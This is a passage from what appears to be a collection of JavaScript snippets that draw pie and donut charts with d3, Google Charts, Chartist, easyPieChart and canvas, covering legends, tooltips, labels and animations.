null\n if (chart['legendClick'] !== null) chart.legendClick(d.data);\n });\n\n //switch legend position to set \n switch (chart.legend.position) {\n case 'left':\n {\n //calculate items height\n var itemsHeight = this.data.length * (chart.legend.iconHeight + chart.legend.fontSize) + 5;\n var startY = //chart.margin.top + (height - itemsHeight) / 2;\n \n //set legend icons positions\n legendIcons.attr('x', (transX * -1) + chart.margin.left)\n .attr('y', function (d, i) {\n //get y position\n var yPos = (transY / 2 - itemsHeight) + ((chart.legend.fontSize + chart.legend.iconHeight) * i);\n\n //check y pos\n if (itemsHeight > transY && itemsHeight < plot.height)\n yPos = ((chart.legend.fontSize + chart.legend.iconHeight) * i) - transY + chart.margin.top + (plot.height - itemsHeight) / 2;\n else if (itemsHeight > plot.height)\n yPos = ((chart.legend.fontSize + chart.legend.iconHeight) * i) - transY + chart.margin.top;\n\n\n //return y position\n return yPos;\n });\n\n \n //set legend texts positions\n legendTexts.attr('x', (transX * -1) + chart.margin.left + chart.legend.iconWidth + 5)\n .attr('y', function (d, i) { return parseFloat(d3.select(legendIcons[0][i]).attr('y')) + chart.legend.fontSize; })\n }\n break;\n case 'right':\n {\n //calculate items height\n var itemsHeight = this.data.length * (chart.legend.iconHeight + chart.legend.fontSize) + 5;\n var startY = chart.margin.top + (plot.height - itemsHeight) / 2;\n\n //set legend icons positions\n legendIcons.attr('x', (transX - chart.margin.right))\n .attr('y', function (d, i) {\n //get y position\n var yPos = (transY / 2 - itemsHeight) + ((chart.legend.fontSize + chart.legend.iconHeight) * i);\n\n //check y pos\n if (itemsHeight > transY && itemsHeight < plot.height)\n yPos = ((chart.legend.fontSize + chart.legend.iconHeight) * i) - transY + chart.margin.top + (plot.height - itemsHeight) / 2;\n else if (itemsHeight > plot.height)\n yPos = ((chart.legend.fontSize + chart.legend.iconHeight) * i) - transY + chart.margin.top;\n\n //return y position\n return yPos;\n });\n\n\n //set legend texts positions\n legendTexts.attr('x', (transX - chart.margin.right + chart.legend.iconWidth + 5))\n .attr('y', function (d, i) { return parseFloat(d3.select(legendIcons[0][i]).attr('y')) + chart.legend.fontSize; })\n }\n break;\n case 'bottom':\n {\n //calculate items height\n var itemsWidth = this.data.length * (chart.legend.iconWidth + chart.legend.maxTextWidth);\n var startX = chart.margin.left + (plot.width - itemsWidth) / 2;\n\n //set legend icons positions\n legendIcons.attr('x', function (d, i) {\n //get x position\n var xPos = ((chart.legend.maxTextWidth + chart.legend.iconWidth) * i) - transX / 2;\n\n //check items width\n if (itemsWidth > plot.width) xPos = (transX * -1) + ((chart.legend.maxTextWidth + chart.legend.iconWidth) * i) + chart.margin.left;\n\n //return x position\n return xPos;\n }).attr('y', transY);\n\n\n //set legend texts positions\n legendTexts.attr('x', function (d, i) { return parseFloat(d3.select(legendIcons[0][i]).attr('x')) + chart.legend.iconWidth + 5; })\n .attr('y', transY + chart.legend.fontSize);\n }\n break;\n case 'top':\n {\n //calculate items height\n var itemsWidth = this.data.length * (chart.legend.iconWidth + chart.legend.maxTextWidth);\n var startX = chart.margin.left + (plot.width - itemsWidth) / 2;\n\n //set legend icons positions\n legendIcons.attr('x', function (d, i) {\n //get x position\n var xPos = ((chart.legend.maxTextWidth + chart.legend.iconWidth) * i) - transX / 2;\n\n //check items width\n if (itemsWidth > plot.width) xPos = (transX * -1) + ((chart.legend.maxTextWidth + chart.legend.iconWidth) * i) + chart.margin.left;\n\n //return x position\n return xPos;\n }).attr('y', (transY * -1) + chart.margin.top);\n\n\n //set legend texts positions\n legendTexts.attr('x', function (d, i) { return parseFloat(d3.select(legendIcons[0][i]).attr('x')) + chart.legend.iconWidth + 5; })\n .attr('y', (transY * -1) + chart.legend.fontSize + chart.margin.top);\n }\n break;\n }\n\n //exit legend icons\n legendIcons.exit().remove();\n\n //exit legend texts\n legendTexts.exit().remove();\n }\n\n //set this data\n this.mapData = function (data) {\n //check whether the passed data is null\n if (data === null) return null;\n\n //set base data\n this.data = data.map(function (d) {\n //Set current object's hidden member\n if (d['selected'] == null) d['selected'] = false;\n\n //Return d\n return d;\n });\n };\n\n //hides balloon\n function hideBalloon() {\n /// <summary>\n /// Hides balloon.\n /// </summary>\n balloon.style('display', 'none');\n };\n\n //shows balloon\n function showBalloon(content) {\n /// <summary>\n /// Shows balloon with given content.\n /// </summary>\n /// <param name=\"content\"></param>\n /// <param name=\"data\"></param>\n\n //check whether the arguments\n if (content == null) hideBalloon();\n\n //check whther the balloon enabled\n if (!chart.balloon.enabled) hideBalloon();\n\n //set balloon content\n balloon.html(content);\n\n //set balloon postion and show\n balloon.style('left', (parseInt(d3.event.pageX) + 5) + 'px');\n balloon.style('top', (parseInt(d3.event.pageY) + 5) + 'px');\n balloon.style('display', 'block');\n };\n\n //set update function\n this.update = function (data) {\n //declare internal variables\n var base = this;\n\n //check whether the passed data is null\n if (data == null) data = chart.data;\n\n //set this data\n this.mapData(data);\n\n //create slice data\n slices = canvas.select('.eve-pie-slices').selectAll('path.eve-pie-slice')\n .data(pie(this.data), key);\n \n //create slice paths\n slices.enter().insert('path')\n .style('fill', function (d, i) {\n //check whether the serie has colorField\n if (serie.colorField !== '')\n return d.data[serie.colorField];\n else\n return i <= eveCharts.colors.length ? eveCharts.colors[i] : eve.randomColor();\n })\n .style(\"stroke\", this.sliceBorderColor)\n .style(\"stroke-width\", 1)\n .style(\"stroke-opacity\", 0.1)\n .attr(\"class\", \"eve-pie-slice\")\n .on('click', function (d, i) {\n //set data selected event\n d.data.selected = !d.data.selected;\n\n //scale the current pie element\n if (d.data.selected) {\n d3.select(this)\n .style(\"stroke-opacity\", 1)\n .transition()\n .duration(chart.animationDuration)\n .attr(\"d\", arcSelected);\n } else {\n d3.select(this)\n .style(\"stroke-opacity\", 0.1)\n .transition()\n .duration(chart.animationDuration)\n .attr(\"d\", arc);\n }\n\n //check whether the serieClick event is not null\n if (chart['serieClick'] !== null) chart.serieClick(d.data);\n })\n .on('mousemove', function (d, i) {\n //get data color\n var dataColor = '';\n var thisObj = eve(this);\n var balloonContent = formatValue(chart.balloon.format, d.data);\n\n //set data color\n if (serie.colorField !== '')\n dataColor = d.data[serie.colorField];\n else\n dataColor = i <= eveCharts.colors.length ? eveCharts.colors[i] : eve.randomColor();\n \n //set balloon border color\n balloon.style('borderColor', dataColor);\n\n //Show balloon\n showBalloon(balloonContent);\n\n //Set hover for the current slice\n thisObj.style('opacity', serie.hoverOpacity);\n })\n .on('mouseout', function (d) {\n //Hide balloon\n hideBalloon();\n\n //Remove opacity of the curent slice\n eve(this).style('opacity', 1);\n });\n\n //set slice animation\n slices.transition().duration(chart.animationDuration)\n .attrTween('d', function (d) {\n //set current data\n this._current = this._current || d;\n\n //set interpolation\n var interpolated = d3.interpolate(this._current, d);\n\n //set current as interpolated\n this._current = interpolated(0);\n\n //return interpolated arc\n return function (t) {\n return arc(interpolated(t));\n };\n });\n\n //exit from slices\n slices.exit().remove();\n\n //check whether the labels are enables\n if (serie.labelsEnabled) {\n //check whether the label position is inside\n if (serie.labelPosition === 'inside') {\n //set labels\n labels = canvas.select('.eve-pie-labels').selectAll('text').data(pie(this.data), key);\n\n //append labels\n labels.enter().append('text')\n .style('fill', serie.labelFontColor)\n .style('font-weight', serie.labelFontStyle == 'bold' ? 'bold' : 'normal')\n .style('font-style', serie.labelFontStyle == 'bold' ? 'normal' : serie.labelFontStyle)\n .style(\"font-family\", serie.labelFontFamily)\n .style(\"font-size\", serie.labelFontSize + 'px')\n .style('text-anchor', 'middle')\n .text(function (d) { return formatValue(serie.labelFormat, d.data); });\n\n //animate labels\n labels.transition().duration(chart.animationDuration)\n .attr('transform', function (d) { return 'translate(' + arc.centroid(d) + ')'; });\n\n //exit from labels\n labels.exit().remove();\n } else {\n //create label lines\n lines = canvas.select('.eve-pie-labels-lines').selectAll('line').data(pie(this.data), key);\n\n //append label lines\n lines.enter().append('line')\n .style('stroke', function (d, i) {\n if (serie.colorField !== '')\n return d.data[serie.colorField];\n else\n return i <= eveCharts.colors.length ? eveCharts.colors[i] : eve.randomColor();\n })\n .style('stroke-width', 1)\n .style('stroke-opacity', 0.2);\n\n //animate label lines\n lines.transition().duration(chart.animationDuration)\n .attr(\"x1\", function (d) {\n return arc.centroid(d)[0];\n })\n .attr(\"y1\", function (d) {\n return arc.centroid(d)[1];\n })\n .attr(\"x2\", function (d) {\n //get centroid\n var _centroid = arc.centroid(d);\n\n //calculate middle point\n var _midAngle = Math.atan2(_centroid[1], _centroid[0]);\n\n //calculate x position of the line\n var _x = Math.cos(_midAngle) * (radius * 0.9);\n\n //return x\n return _x;\n })\n .attr(\"y2\", function (d) {\n //get centroid\n var _centroid = arc.centroid(d);\n\n //calculate middle point\n var _midAngle = Math.atan2(_centroid[1], _centroid[0]);\n\n //calculate y position of the line\n var _y = Math.sin(_midAngle) * (radius * 0.9);\n\n //return y\n return _y;\n });\n\n //exit lines\n lines.exit().remove();\n\n //create labels\n labels = canvas.select('.eve-pie-labels').selectAll('text').data(pie(this.data), key);\n\n //append labels\n labels.enter().append('text')\n .style('fill', serie.labelFontColor)\n .style('font-weight', serie.labelFontStyle == 'bold' ? 'bold' : 'normal')\n .style('font-style', serie.labelFontStyle == 'bold' ? 'normal' : serie.labelFontStyle)\n .style(\"font-family\", serie.labelFontFamily)\n .style(\"font-size\", serie.labelFontSize + 'px')\n .text(function (d) { return formatValue(serie.labelFormat, d.data); });\n\n //animate labels\n labels.transition().duration(chart.animationDuration)\n .attr('x', function (d) {\n //Get centroid of the inner arc\n var _centroid = arc.centroid(d);\n\n //Get middle angle\n var _midAngle = Math.atan2(_centroid[1], _centroid[0]);\n\n //Calculate x position\n var _x = Math.cos(_midAngle) * (radius * 0.9);\n\n //Return x position\n return _x + (5 * ((_x > 0) ? 1 : -1));\n })\n .attr('y', function (d) {\n //Get centroid of the inner arc\n var _centroid = arc.centroid(d);\n\n //Get middle angle\n var _midAngle = Math.atan2(_centroid[1], _centroid[0]);\n\n //Return y position\n return Math.sin(_midAngle) * (radius * 0.9);\n })\n .style(\"text-anchor\", function (d) {\n //Get centroid of the inner arc\n var _centroid = arc.centroid(d);\n\n //Get middle angle\n var _midAngle = Math.atan2(_centroid[1], _centroid[0]);\n\n //Calculate x position\n var _x = Math.cos(_midAngle) * (radius * 0.9);\n\n //Return text anchor\n return (_x > 0) ? \"start\" : \"end\";\n });\n\n //exit labels\n labels.exit().remove();\n }\n }\n\n //set legend\n this.setLegend();\n };\n\n //update pie chart\n this.update();\n }", "function drawPieChart(){\n\t\n\t//Center coordinate = 295,100\n\t//Outer Circle Radius = 50\n\t\n\tif (diamondIsAvailable) {\n\t\t\n\t\t//Creates Cyan Flash Effect\n if (outerRingRedEffect > 234) {\n\t\t\touterRingRedEffect = 234;\n\t\t}else if (outerRingRedEffect < 234) {\n\t\t\touterRingRedEffect += 10;\n\t\t}\n\t\tcanvasContext.fillStyle = \"rgb(\"+outerRingRedEffect+\",234,234)\";\n\t\t\n }else{\n\t\tif (outerRingGeneralEffect > 234) {\n\t\t\touterRingGeneralEffect = 234\n }else if (outerRingGeneralEffect < 234) {\n\t\t\touterRingGeneralEffect += 5;\n\t\t}\n\t\tcanvasContext.fillStyle = \"rgb(\" + outerRingGeneralEffect + \",\" + outerRingGeneralEffect + \",\" + outerRingGeneralEffect + \")\";\n\t}\n\t\n\t\n\tcanvasContext.beginPath();\n\tcanvasContext.arc(292.5,100-2,50,0,Math.PI*2,true);\n\tcanvasContext.fill();\n\t\n\t//Inner Circle Colouring\n\tif (diamondIsAvailable) {\n canvasContext.fillStyle = \"#FFFFFF\";\n }else if (diamondIsAvailable == false) {\n canvasContext.fillStyle = \"#C8C8C8\";\n }\n\t\n\t//Inner Circle Radius = 35\n\tcanvasContext.beginPath();\n\tcanvasContext.arc(292.5,100-2,35,0,Math.PI*2,true);\n\tcanvasContext.fill();\n\t\n\t//Pie Countdown Colouring\n\tif (diamondIsAvailable) {\n canvasContext.fillStyle = \"#00EEEE\";\n }else if (diamondIsAvailable == false) {\n canvasContext.fillStyle = \"#6A6A6A\";\n }\n\t\n\t//Pie Drawing\n\tcanvasContext.beginPath();\n\tcanvasContext.moveTo(292.5,100-2);\n\tcanvasContext.lineTo(292.5,65-2);\n\tcanvasContext.arc(292.5,100-2,35, 3*Math.PI/2, 3/2*Math.PI + 2*Math.PI*((buttonTime)/60000),true);\n\tcanvasContext.lineTo(292.5,100-2);\n\tcanvasContext.fill();\n}", "initPieChart() {\n let that = this;\n\n // set svg dimensions and placement\n this.svg\n .attr('width', 600)\n .attr('height', this.height + 40)\n .append('g')\n .attr('transform', 'translate(' + (715 / 2) + ',' + (this.height / 2 + 10) + ')');\n\n // create the donut arcs\n let arc = d3.arc()\n .innerRadius(this.radius - this.donutWidth)\n .outerRadius(this.radius);\n\n // size segment proportioning function\n let pie = d3.pie()\n .value(function (d) {\n return d.totalBurned;\n })\n .sort(null);\n \n // draw the donut\n let path = this.svg.select('g').selectAll('path')\n .data(pie(this.pieData))\n .enter()\n .append('path')\n .attr('d', arc)\n .attr('fill', function (d, i) {\n return that.color(d.value);\n })\n .attr('transform', 'translate(0, 0)')\n .classed('pie-slice', true);\n\n // add tooltip and other handlers\n this.addTooltip(path);\n }", "function drawChart() {\n console.log('datos: ' + datos);\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Topping');\n data.addColumn('number', 'Slices');\n var dd = datos.split('#-#');\n for (var i = 0; i < dd.length; i++) {\n var dx = dd[i].split('##');\n var arr = [dx[0], parseInt(dx[1])];\n console.log(i);\n console.log(dx[0] + \" :::\");\n console.log(dx[1] + \" :::\");\n data.addRow(arr);\n }\n\n// Set chart options\n var options = {'title': 'How Much Pizza I Ate Last Night',\n 'is3D': true,\n 'width': 400,\n 'height': 300};\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n }", "function generatePieChart(containerId, color, pieSize) {\n $(containerId).easyPieChart({\n animate:{\n duration:500,\n enabled:true\n },\n barColor:color,\n trackColor:'#ccc',\n scaleColor:false,\n lineWidth:5,\n lineCap:'circle',\n size: pieSize\n });\n}", "function drawPieChart() {\n var numbers = document.getElementById(\"stat_form:productstring\").value;\n var split = numbers.split(\" \");\n var myData = new Array();\n for (var i = 0; i < split.length - 1; i += 2) {\n myData.push(['Product ID: ' + parseFloat(split[i]), parseFloat(split[i + 1])]);\n }\n\n var colors = [];\n for (var i = 0; i < myData.length; i++) {\n colors.push(getRandomColor());\n }\n\n var myChart = new JSChart('chart_pie_popularity', 'pie');\n myChart.setDataArray(myData);\n myChart.colorizePie(colors);\n myChart.setTitleColor('#000000');\n myChart.setPieUnitsColor('#9B9B9B');\n myChart.setPieValuesColor('#6A0000');\n myChart.setTitle('Product order frequency');\n myChart.setSize(500, 300);\n myChart.draw();\n}", "function buildPieChart(dataPreferences, id, absoluteTotal) {\n\t\t /* **************** Public Preferences - Pie Chart ******************** */\n\n let optionsPreferences = {\n\t\t donut: true,\n\t\t donutWidth: 50,\n\t\t startAngle: 270,\n\t\t showLabel: true,\n\t\t height: '300px'\n };\n \n let responsiveOptions = [\n \t ['screen and (min-width: 640px)', {\n \t chartPadding: 40,\n \t labelOffset: 50,\n \t labelDirection: 'explode',\n \t labelInterpolationFnc: function(value, idx) {\n \t // Calculates the percentage of category total vs absolute total\n \t let percentage = round((dataPreferences.series[idx] / absoluteTotal * 100),2) + '%';\n \t return value + ': ' + percentage;\n \t }\n \t }],\n \t ['screen and (min-width: 1301px)', {\n \t labelOffset: 30,\n \t chartPadding: 10\n \t }],\n \t ['screen and (min-width: 992px)', {\n \t labelOffset: 45,\n \t chartPadding: 40,\n \t }],\n \t \n \t];\n \n // Reset the chart\n replaceHTML(id, '');\n $(\"#\" + id).tooltip('dispose');\n \n // Append Tooltip for Doughnut chart\n if(isNotEmpty(dataPreferences)) {\n \tlet categoryBreakdownChart = new Chartist.Pie('#' + id, dataPreferences, optionsPreferences, responsiveOptions).on('draw', function(data) {\n \t\t if(data.type === 'slice') {\n\t\t \tlet sliceValue = data.element._node.getAttribute('ct:value');\n\t\t \tdata.element._node.setAttribute(\"title\", \"Total: <strong>\" + currentCurrencyPreference + formatNumber(Number(sliceValue), currentUser.locale) + '</strong>');\n\t\t\t\t\tdata.element._node.setAttribute(\"data-chart-tooltip\", id);\n \t\t }\n\t\t\t}).on(\"created\", function() {\n\t\t\t\t// Initiate Tooltip\n\t\t\t\t$(\"#\" + id).tooltip({\n\t\t\t\t\tselector: '[data-chart-tooltip=\"' + id + '\"]',\n\t\t\t\t\tcontainer: \"#\" + id,\n\t\t\t\t\thtml: true,\n\t\t\t\t\tplacement: 'auto',\n\t\t\t\t\tdelay: { \"show\": 300, \"hide\": 100 }\n\t\t\t\t});\n\t\t\t});\n \t\n \t// Animate the doughnut chart\n \ter.startAnimationDonutChart(categoryBreakdownChart);\n }\n \n\t}", "function loaded(){\n graph([]);\n pieChart([],[],[],[]);\n}", "function drawChart() {\n\t\t\t\t\tvar data = google.visualization.arrayToDataTable(\n\t\t\t\t\tInventArray, false);\n\t\t\t\t\tconsole.log(data);\n\n\t\t\t\t\t // Optional; add a title and set the width and height of the chart\n\t\t\t\t\tvar options = {'title':'Average Stock', 'width':350, 'height':300, 'chartArea': {'width': '100%', 'height': '80%'}, pieSliceText:'value-and-percentage'};\n\n\t\t\t\t\t// Display the chart inside the <div> element with id=\"piechart\"\n\t\t\t\t\tvar chart = new google.visualization.PieChart(document.getElementById('piechart'));\n\t\t\t\t\tchart.draw(data, options);\n\t\t\t\t}", "_drawChart()\n {\n\n }", "function createChart(options){var data=Chartist.normalizeData(this.data);var seriesGroups=[],labelsGroup,chartRect,radius,labelRadius,totalDataSum,startAngle=options.startAngle;// Create SVG.js draw\nthis.svg=Chartist.createSvg(this.container,options.width,options.height,options.donut?options.classNames.chartDonut:options.classNames.chartPie);// Calculate charting rect\nchartRect=Chartist.createChartRect(this.svg,options,defaultOptions.padding);// Get biggest circle radius possible within chartRect\nradius=Math.min(chartRect.width()/2,chartRect.height()/2);// Calculate total of all series to get reference value or use total reference from optional options\ntotalDataSum=options.total||data.normalized.series.reduce(function(previousValue,currentValue){return previousValue+currentValue;},0);var donutWidth=Chartist.quantity(options.donutWidth);if(donutWidth.unit==='%'){donutWidth.value*=radius/100;}// If this is a donut chart we need to adjust our radius to enable strokes to be drawn inside\n// Unfortunately this is not possible with the current SVG Spec\n// See this proposal for more details: http://lists.w3.org/Archives/Public/www-svg/2003Oct/0000.html\nradius-=options.donut&&!options.donutSolid?donutWidth.value/2:0;// If labelPosition is set to `outside` or a donut chart is drawn then the label position is at the radius,\n// if regular pie chart it's half of the radius\nif(options.labelPosition==='outside'||options.donut&&!options.donutSolid){labelRadius=radius;}else if(options.labelPosition==='center'){// If labelPosition is center we start with 0 and will later wait for the labelOffset\nlabelRadius=0;}else if(options.donutSolid){labelRadius=radius-donutWidth.value/2;}else {// Default option is 'inside' where we use half the radius so the label will be placed in the center of the pie\n// slice\nlabelRadius=radius/2;}// Add the offset to the labelRadius where a negative offset means closed to the center of the chart\nlabelRadius+=options.labelOffset;// Calculate end angle based on total sum and current data value and offset with padding\nvar center={x:chartRect.x1+chartRect.width()/2,y:chartRect.y2+chartRect.height()/2};// Check if there is only one non-zero value in the series array.\nvar hasSingleValInSeries=data.raw.series.filter(function(val){return val.hasOwnProperty('value')?val.value!==0:val!==0;}).length===1;// Creating the series groups\ndata.raw.series.forEach(function(series,index){seriesGroups[index]=this.svg.elem('g',null,null);}.bind(this));//if we need to show labels we create the label group now\nif(options.showLabel){labelsGroup=this.svg.elem('g',null,null);}// Draw the series\n// initialize series groups\ndata.raw.series.forEach(function(series,index){// If current value is zero and we are ignoring empty values then skip to next value\nif(data.normalized.series[index]===0&&options.ignoreEmptyValues)return;// If the series is an object and contains a name or meta data we add a custom attribute\nseriesGroups[index].attr({'ct:series-name':series.name});// Use series class from series data or if not set generate one\nseriesGroups[index].addClass([options.classNames.series,series.className||options.classNames.series+'-'+Chartist.alphaNumerate(index)].join(' '));// If the whole dataset is 0 endAngle should be zero. Can't divide by 0.\nvar endAngle=totalDataSum>0?startAngle+data.normalized.series[index]/totalDataSum*360:0;// Use slight offset so there are no transparent hairline issues\nvar overlappigStartAngle=Math.max(0,startAngle-(index===0||hasSingleValInSeries?0:0.2));// If we need to draw the arc for all 360 degrees we need to add a hack where we close the circle\n// with Z and use 359.99 degrees\nif(endAngle-overlappigStartAngle>=359.99){endAngle=overlappigStartAngle+359.99;}var start=Chartist.polarToCartesian(center.x,center.y,radius,overlappigStartAngle),end=Chartist.polarToCartesian(center.x,center.y,radius,endAngle);var innerStart,innerEnd,donutSolidRadius;// Create a new path element for the pie chart. If this isn't a donut chart we should close the path for a correct stroke\nvar path=new Chartist.Svg.Path(!options.donut||options.donutSolid).move(end.x,end.y).arc(radius,radius,0,endAngle-startAngle>180,0,start.x,start.y);// If regular pie chart (no donut) we add a line to the center of the circle for completing the pie\nif(!options.donut){path.line(center.x,center.y);}else if(options.donutSolid){donutSolidRadius=radius-donutWidth.value;innerStart=Chartist.polarToCartesian(center.x,center.y,donutSolidRadius,startAngle-(index===0||hasSingleValInSeries?0:0.2));innerEnd=Chartist.polarToCartesian(center.x,center.y,donutSolidRadius,endAngle);path.line(innerStart.x,innerStart.y);path.arc(donutSolidRadius,donutSolidRadius,0,endAngle-startAngle>180,1,innerEnd.x,innerEnd.y);}// Create the SVG path\n// If this is a donut chart we add the donut class, otherwise just a regular slice\nvar pathClassName=options.classNames.slicePie;if(options.donut){pathClassName=options.classNames.sliceDonut;if(options.donutSolid){pathClassName=options.classNames.sliceDonutSolid;}}var pathElement=seriesGroups[index].elem('path',{d:path.stringify()},pathClassName);// Adding the pie series value to the path\npathElement.attr({'ct:value':data.normalized.series[index],'ct:meta':Chartist.serialize(series.meta)});// If this is a donut, we add the stroke-width as style attribute\nif(options.donut&&!options.donutSolid){pathElement._node.style.strokeWidth=donutWidth.value+'px';}// Fire off draw event\nthis.eventEmitter.emit('draw',{type:'slice',value:data.normalized.series[index],totalDataSum:totalDataSum,index:index,meta:series.meta,series:series,group:seriesGroups[index],element:pathElement,path:path.clone(),center:center,radius:radius,startAngle:startAngle,endAngle:endAngle});// If we need to show labels we need to add the label for this slice now\nif(options.showLabel){var labelPosition;if(data.raw.series.length===1){// If we have only 1 series, we can position the label in the center of the pie\nlabelPosition={x:center.x,y:center.y};}else {// Position at the labelRadius distance from center and between start and end angle\nlabelPosition=Chartist.polarToCartesian(center.x,center.y,labelRadius,startAngle+(endAngle-startAngle)/2);}var rawValue;if(data.normalized.labels&&!Chartist.isFalseyButZero(data.normalized.labels[index])){rawValue=data.normalized.labels[index];}else {rawValue=data.normalized.series[index];}var interpolatedValue=options.labelInterpolationFnc(rawValue,index);if(interpolatedValue||interpolatedValue===0){var labelElement=labelsGroup.elem('text',{dx:labelPosition.x,dy:labelPosition.y,'text-anchor':determineAnchorPosition(center,labelPosition,options.labelDirection)},options.classNames.label).text(''+interpolatedValue);// Fire off draw event\nthis.eventEmitter.emit('draw',{type:'label',index:index,group:labelsGroup,element:labelElement,text:''+interpolatedValue,x:labelPosition.x,y:labelPosition.y});}}// Set next startAngle to current endAngle.\n// (except for last slice)\nstartAngle=endAngle;}.bind(this));this.eventEmitter.emit('created',{chartRect:chartRect,svg:this.svg,options:options});}", "function drawChart3() {\n var data = google.visualization.arrayToDataTable([\n ['Task', 'Hours per Day'],\n ['Airtel', 4],\n ['MTN', 32],\n]);\n\n // Optional; add a title and set the width and height of the chart\n var options = {'title':'Mobile Network', 'width':150, 'height':106, colors: ['#F0C419', '#F0785A']};\n\n // Display the chart inside the <div> element with id=\"piechart\"\n var chart = new google.visualization.PieChart(document.getElementById('piechart3'));\n chart.draw(data, options);\n}", "function drawPieChart(dataset) {\n var chartContainer = document.getElementById(\"div1\");\n document.getElementById(\"div1\").innerHTML =\"\";\n\n //determine the array from the radio button that is checked\n var dataset = receiveInput();\n\n var widthOfContainer = chartContainer.scrollWidth;\n var heightOfContainer = chartContainer.scrollHeight;\n\n if(typeof(dataset) !== \"object\") {\n return;\n }\n \n //create canvas element\n var canvasElement = document.createElement(\"canvas\");\n //attributes of canvas element\n canvasElement.setAttribute(\"id\", \"myCanvas\");\n //set styles\n canvasElement.width = widthOfContainer;\n canvasElement.height = heightOfContainer;\n var barCanvas = canvasElement;\n var context = barCanvas.getContext('2d');\n \n var radius = ((heightOfContainer-10)/2);\n var xCenter = widthOfContainer/2;\n var yCenter = heightOfContainer/2;\n var datasetTotal = 0;\n for (var i = 0; i < dataset.length; i++) {\n datasetTotal += dataset[i]; \n }\n //declare variable called lastEnd\n var lastEnd = 0;\n //loop through the array and get angles\n for (var j = 0; j < dataset.length; j++) {\n //calculate angle representation of element in array\n var angle = (Math.abs(dataset[j])/datasetTotal)*360;\n\n context.beginPath();\n context.moveTo(xCenter,yCenter);\n context.arc(xCenter, yCenter, radius, lastEnd, (lastEnd + (angle/180)*Math.PI));\n context.lineTo(xCenter,yCenter);\n\n var hex = '0123456789ABCDEF'.split(''), color = '#', i;\n for (i = 0; i < 6 ; i++) {\n color = color + hex[Math.floor(Math.random() * 16)];\n }\n context.fillStyle=color;\n context.fill();\n\n lastEnd += Math.PI*(angle/180);\n }\n //add the canvas to the div container element\n chartContainer.appendChild(canvasElement);\n document.getElementById(\"div3\").innerHTML =\"There's your Pie Chart\";\n}", "function rolePieChart(chartData) {\n\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Topping');\n data.addColumn('number', 'count');\n data.addRows(chartData);\n\n // Set chart options\n var options = {'title':'Role and count information',\n 'width':500,\n 'height':400};\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('pie_div'));\n chart.draw(data, options);\n}", "function drawChart() {\n var data = google.visualization.arrayToDataTable([\n ['language', 'porcentage knowledge'],\n ['C++', 3],\n ['Java', 2],\n ['Python', 1],\n ['Javascript', 2]\n]);\n\n // Optional; add a title and set the width and height of the chart\n var options = {'title':'Language knowledge', 'width':550, 'height':400};\n\n // Display the chart inside the <div> element with id=\"piechart\"\n var chart = new google.visualization.PieChart(document.getElementById('piechart'));\n chart.draw(data, options);\n}", "function drawChart() {\n\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'FIO');\n data.addColumn('number', 'Count');\n i = 0; \n\n names = document.querySelectorAll('.DName');\n values = document.querySelectorAll('.DCount');\n\n while (i + 1 <= names.length) {\n data.addRows([\n [names[i].innerText, +values[i].innerText]\n ]);\n i++;\n }\n\n // Set chart options\n var options = {\n 'title': 'Кругова діаграма',\n 'width': 500,\n 'height': 500\n };\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n }", "function drawChart() {\n var data = google.visualization.arrayToDataTable([\n ['STATUS', 'PERCENTAGE'],\n ['PASS', 305],\n ['FAIL', 18],\n ]);\n // Optional; add a title and set the width and height of the chart\n var options = {\n 'width':400, \n 'height':380, \n 'colors': [\"#6bd19c\", \"#c4435d\"],\n 'legend':{\n 'position':'bottom'\n },\n 'backgroundColor':'transparent'\n };\n // Display the chart inside the <div> element with id=\"piechart\"\n var chart = new google.visualization.PieChart(document.getElementById('piechart'));\n chart.draw(data, options);\n}", "function easyCharts() {\n\t jQuery('.easyPieChart').each(function () {\n\t\t\tvar $this, $parent_width, $chart_size;\n\t\t\t$this =jQuery(this);\n\t\t\t$parent_width = jQuery(this).parent().width();\n\t\t\t$chart_size = $this.attr('data-barSize');\n\t\t\tif (!$this.hasClass('chart-animated')) {\n\t\t\t\t$this.easyPieChart({\n\t\t\t\t\tanimate: 3000,\n\t\t\t\t\tlineCap: 'round',\n\t\t\t\t\tlineWidth: $this.attr('data-lineWidth'),\n\t\t\t\t\tsize: $chart_size,\n\t\t\t\t\tbarColor: $this.attr('data-barColor'),\n\t\t\t\t\ttrackColor: $this.attr('data-trackColor'),\n\t\t\t\t\tscaleColor: 'transparent',\n\t\t\t\t\tonStep: function (value) {\n\t\t\t\t\t\tthis.$el.find('.chart-percent span').text(Math.ceil(value));\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n }", "function easyCharts() {\n\t jQuery('.easyPieChart').each(function () {\n\t\t\tvar $this, $parent_width, $chart_size;\n\t\t\t$this =jQuery(this);\n\t\t\t$parent_width = jQuery(this).parent().width();\n\t\t\t$chart_size = $this.attr('data-barSize');\n\t\t\tif (!$this.hasClass('chart-animated')) {\n\t\t\t\t$this.easyPieChart({\n\t\t\t\t\tanimate: 3000,\n\t\t\t\t\tlineCap: 'round',\n\t\t\t\t\tlineWidth: $this.attr('data-lineWidth'),\n\t\t\t\t\tsize: $chart_size,\n\t\t\t\t\tbarColor: $this.attr('data-barColor'),\n\t\t\t\t\ttrackColor: $this.attr('data-trackColor'),\n\t\t\t\t\tscaleColor: 'transparent',\n\t\t\t\t\tonStep: function (value) {\n\t\t\t\t\t\tthis.$el.find('.chart-percent span').text(Math.ceil(value));\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\t\t});\n }", "function drawChartPoll() {\n if (poll_results != null) {\n var results_array = [[poll_question, 'Votes']];\n \n for (var key in poll_results) {\n if (poll_results.hasOwnProperty(key)) {\n var name = poll_results[key].name;\n var votes = poll_results[key].votes;\n \n // Add the vote name and count to the array\n // Don't include it if nobody has voted for it\n if(votes > 0)\n results_array.push([name, votes]);\n }\n }\n\n var data = google.visualization.arrayToDataTable(results_array);\n \n // Include the poll title in the pie chart\n var options = {\n title: poll_question\n };\n\n document.getElementById(\"piechart\").innerHTML = \"\";\n var chart = new 